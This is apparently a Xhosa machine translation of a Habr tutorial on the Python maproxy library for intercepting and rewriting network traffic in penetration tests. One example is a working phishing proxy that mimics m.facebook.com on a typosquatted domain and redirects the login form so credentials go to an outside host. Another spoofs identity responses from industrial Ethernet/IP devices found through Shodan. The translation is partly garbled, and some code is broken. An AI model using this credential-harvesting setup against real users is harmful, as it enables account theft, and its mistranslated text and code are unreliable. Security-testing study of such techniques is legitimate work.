Inkqubo yedatha yenethiwekhi kubhabho

Ukuguqulelwa kwenqaku kwalungiselelwa kwangaphambi kokuqalisa kwekhosi “IPentekoste. Uvavanyo lokungena".

Inkqubo yedatha yenethiwekhi kubhabho

Abstract

Iindidi ezahlukeneyo zovavanyo lokhuseleko, ukusuka kuvavanyo lokungena rhoqo kunye nokusebenza kweQela eliBomvu ukuya kuqhekezo lwezixhobo ze-IoT / ICS kunye ne-SCADA, kubandakanya ukusebenza kunye neeprotocol zenethiwekhi yebhinari, oko kukuthi, ukuthintela kunye nokuguqula idatha yenethiwekhi phakathi komxhasi kunye nethagethi. Ukufunxa i-traffic yenethiwekhi ayingomsebenzi onzima kuba sinezixhobo ezifana ne-Wireshark, i-Tcpdump okanye i-Scapy, kodwa ukuguqulwa kubonakala kungumsebenzi onzima kakhulu kuba kuya kufuneka sibe nohlobo oluthile lojongano lokufunda idatha yenethiwekhi, ukuyihluza, ukutshintsha. it on the fly kwaye uyithumele emva kumamkeli ekujoliswe kuwo phantse ngexesha lokwenyani. Ukongeza, kuya kulunga ukuba isixhobo esinjalo sinokusebenza ngokuzenzekelayo ngoqhagamshelo olunxuseneyo oluninzi kwaye lube nokwenziwa kusetyenziswa izikripthi.

Ngenye imini ndafumanisa isixhobo esibizwa maproxy, amaxwebhu akhawuleza ayenza yacaca kum loo nto maproxy – kanye endikufunayo. Le yi-proxy ye-TCP elula, eguquguqukayo kwaye eqwalaselwe ngokulula. Ndivavanye esi sixhobo kwizicelo ezininzi ezintsonkothileyo, kubandakanya izixhobo ze-ICS (ezenza iipakethi ezininzi) ukubona ukuba zinokuphatha unxibelelwano oluninzi oluhambelanayo, kwaye isixhobo sisebenze kakuhle.

Eli nqaku liza kukwazisa ukuba usebenze idatha yenethiwekhi ngokubhabha usebenzisa maproxy.

isishwankathelo

Isixhobo maproxy isekwe kwiTornado, isakhelo sothungelwano esidumileyo nesivuthiweyo kwiPython.

Ngokubanzi, inokusebenza ngeendlela ezininzi:

  • TCP:TCP -Unxibelelwano lweTCP olungafihlwanga;
  • TCP:SSL и SSL:TCP – ngoguqulelo oluntsonkothileyo lwendlela enye;
  • SSL:SSL – indlela ezimbini ufihlo.

Iza njengethala leencwadi. Ukuqala ngokukhawuleza, ungasebenzisa umzekelo weefayile ezibonisa eyona nto iphambili imisebenzi yethala leencwadi:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

I-Case 1 - i-proxy elula ye-bidirectional

Ngenxa ye tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Ukungagqibeki ProxyServer() ithatha iingxoxo ezimbini - indawo yoqhagamshelwano kunye nezibuko ekujoliswe kuzo. server.listen() ithatha impikiswano enye - izibuko lokumamela uxhulumaniso olungenayo.

Ukwenza iskripthi:

# python tcp2tcp.py

Ukuze uqhube uvavanyo, siza kuqhagamshela kwiseva ye-SSH yasekhaya ngeskripthi sethu sommeli, esimamela 2222/tcp izibuko kwaye iqhagamshela kwizibuko elisezantsi 22/tcp Iiseva ze-SSH:

Inkqubo yedatha yenethiwekhi kubhabho

Isibhengezo esamkelekileyo sikwazisa ukuba umzekelo wethu weskripthi uye wasebenza ngempumelelo kwitrafikhi yenethiwekhi.

Ityala 2 - ukuguqulwa kwedatha

Esinye iskripthi sedemo logging_proxy.py ilungele ukusebenzisana nedatha yenethiwekhi. Amagqabantshintshi kwifayile achaza iindlela zeklasi onokuthi uziguqule ukuze ufezekise injongo yakho:

Inkqubo yedatha yenethiwekhi kubhabho

Eyona nto inika umdla nantsi:

  • on_c2p_done_read -ukuthintela idatha endleleni ukusuka kumxhasi ukuya kumncedisi;
  • on_p2s_done_read - iguqulwe.

Makhe sizame ukutshintsha ibhana ye-SSH umncedisi ayibuyisela kumxhasi:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Phumeza iscript:

Inkqubo yedatha yenethiwekhi kubhabho

Njengoko ubona, umxhasi ulahlekisiwe kuba igama leseva ye-SSH yakhe latshintshwa laba «DumnySSH».

Inkqubo yedatha yenethiwekhi kubhabho

Ityala le-3 - iphepha lewebhu elilula lokukhohlisa

Kukho iindlela ezingapheliyo zokusebenzisa esi sixhobo. Ngeli xesha makhe sigxininise kwinto enokwenzeka ngakumbi kwicala lemisebenzi yeQela eliBomvu. Masixelise iphepha lokufika m.facebook.com kwaye usebenzise isizinda esilungiselelweyo ngochwethezo ngabom, umzekelo, m.facebok.com. Ngeenjongo zokubonisa, masicinge nje ukuba isizinda sibhaliswe sithi.

Siza kuseka unxibelelwano lwenethiwekhi olungafihlwanga kunye namaxhoba ethu ommeli kunye ne-SSL Stream kumncedisi we-Facebook (31.13.81.36). Ukwenza lo mzekelo usebenze, kufuneka sitshintshe i-header host ye-HTTP kwaye sifake igama lomninimzi elichanekileyo, kwaye siya kukhubaza ucinezelo lwempendulo ukuze sikwazi ukufikelela ngokulula imixholo. Ekugqibeleni siya kuthatha indawo yefom ye-HTML ukuze iziqinisekiso zokungena zithunyelwe kuthi endaweni yeeseva zikaFacebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/xh/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Isishwankathelo:

Inkqubo yedatha yenethiwekhi kubhabho

Njengoko ubona, sikwazile ngempumelelo ukubuyisela indawo yokuqala.

Ityala le-4 - Ukuthuthwa kwe-Ethernet / IP

Bendisebenza nezixhobo zoshishino kunye nesoftware (i-ICS/SCADA) ixesha elide, njengabalawuli abanokucwangciswa (PLC), iimodyuli ze-I/O, iimodyuli, ii-relays, i-ladder programming environments kunye nezinye ezininzi. Eli tyala lelabo abathanda izinto zamashishini. Ukukhwabanisa izisombululo ezinjalo kubandakanya ukudlala ngokusebenzayo kunye neeprothokholi zenethiwekhi. Kulo mzekelo ulandelayo, ndingathanda ukubonisa indlela onokuguqula ngayo i-ICS / SCADA i-traffic network.

Ukwenza oku uya kufuna oku kulandelayo:

  • I-Network sniffer, umzekelo, i-Wireshark;
  • I-Ethernet / IP okanye nje isixhobo se-SIP, ungayifumana usebenzisa inkonzo ye-Shodan;
  • Umbhalo wethu usekwe kwi maproxy.

Okokuqala, makhe sijonge ukuba injani na impendulo yokuchonga evela kwi-CIP (iProtokholi yoShishino oluQhelekileyo) ijongeka njani:

Inkqubo yedatha yenethiwekhi kubhabho

Ukuchongwa kwesixhobo kufezekiswa kusetyenziswa i-Ethernet/IP protocol, eyinguqulelo ephuculweyo yeprotocol ye-Ethernet yoshishino esonga iiprothokholi zolawulo ezifana neCIP. Siza kutshintsha igama le-ID elikhankanyiweyo elibonakalayo kwiscreenshot "NI-IndComm ye-Ethernet" usebenzisa iskripthi sethu sommeli. Singaphinda sisebenzise umbhalo logging_proxy.py kwaye ngokufanayo uguqule indlela yeklasi on_p2s_done_read, kuba sifuna ukuba igama lesazisi elahlukileyo libonakale kumxhasi.

Ikhowudi:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Ngokusisiseko, sicele ukuchongwa kwesixhobo kabini, impendulo yesibini yayiyeyokuqala, kwaye eyokuqala yalungiswa ngokubhabha.

Kwaye okokugqibela

Kwiingcinga zam maproxy Isixhobo esifanelekileyo nesilula, esikwabhalwe kwiPython, ke ndiyakholelwa ukuba nawe unokuzuza ngokuyisebenzisa. Ngokuqinisekileyo, kukho izixhobo ezinzima kakhulu zokucubungula kunye nokuguqula idatha yenethiwekhi, kodwa zifuna ingqwalasela engakumbi kwaye ngokuqhelekileyo zidalwe kwimeko ethile yokusetyenziswa, umz. eMuraena, Modlishka okanye evilginx kwiimeko ezifanayo neyesithathu, okanye canape kwimeko yokugqibela. Enye indlela okanye enye, ngoncedo maproxy unokuphumeza ngokukhawuleza iimbono zakho zokuthintela idatha yenethiwekhi, kuba umzekelo wezikripthi zicace kakhulu.

Ukuvavanya iindlela zokuqinisekisa kwi-Windows AD

umthombo: www.habr.com

Yongeza izimvo